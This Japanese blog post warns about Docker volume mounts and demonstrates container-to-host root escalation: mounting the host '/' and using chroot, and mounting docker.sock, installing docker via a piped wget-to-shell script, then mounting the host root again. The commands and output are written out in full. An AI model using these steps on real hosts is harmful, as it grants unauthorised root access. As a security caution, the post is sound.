概要
dockerが消失したという話をよく聞きます。データの復元が全く出来ないという場面も多々ありますがそんな時、ボリュームをホストにマウントすることができます。そんな、dockerの -v オプションを使ってホストマシンにディレクトリをマウントするときに注意しようねという旨の話。
ルートディレクトリにマウントしてルートを奪取します。
docker run -v [ホストディレクトリの絶対パス]:[コンテナの絶対パス] [イメージ名] [コマンド]
ルートにマウントします。
# docker run -t -i -v /:/motouchi debian /bin/bash
ログイン出来ていることを確認します。
root@425b646fa86c:/# cat /etc/issue Debian GNU/Linux 8 \n \l root@425b646fa86c:/# ls bin dev home lib64 mnt opt root sbin sys usr boot etc lib media motouchi proc run srv tmp var
chrootからの確認
root@425b646fa86c:/# chroot motouchi # cat /etc/issue Ubuntu 16.04.1 LTS \n \l
ルートにマウントしてしまっているのだからchrootが成功するのは自明ですね!!!
/var/run/docker.sockのみをマウントしてルートを奪取します。
/var/run/docker.sockとは
Dockerはデーモンプロセス(dockerd)と通信するクライアントとして動くわけですが、その際のソケットにはUNIXドメインソケット(/var/run/docker.sock)が利用されます。そのため、dockerdは特権的な動作が可能です。dockerdが使うUNIXドメインソケットに対して書き込み権限を有するということはルート権限があるのと同じことと言えます。
手順
/var/run/docker.sockへマウントします。
docker run -t -i -v /var/run/docker.sock:/var/run/docker.sock debian /bin/bash
debianにはデフォルトでコンテナがダウンロードされていないため。ダウンロードします。
apt-get update && apt-get install wget -y && wget -qO- https://get.docker.com | sh
dockerの内部でdockerを起動する準備ができました。さっきの要領で起動します。
# docker run -t -i -v /:/motouchi debian /bin/bash
起動後chrootしてみます。
# chroot motouchi # cat /etc/issue Ubuntu 16.04.1 LTS \n \l
chrootに成功してログインにホストへのログインに成功しました。
最後に
Dockerがコンテナ技術ということを忘れずに権限などを意識して、便利に楽しく使いましょう!!!! 今回、使ったコンテナを停止しているので全削除しましょう。
docker rm `docker ps -aq`
参照
冷凍うどんとDockerとか…。 - じゃあ、おうちで学べる
Dockerでホストを乗っ取られた
The Dangers of Docker.sock
Don't expose the Docker socket (not even to a container) | lvh
GitHub - jpetazzo/dind: Docker in Docker
Redirecting…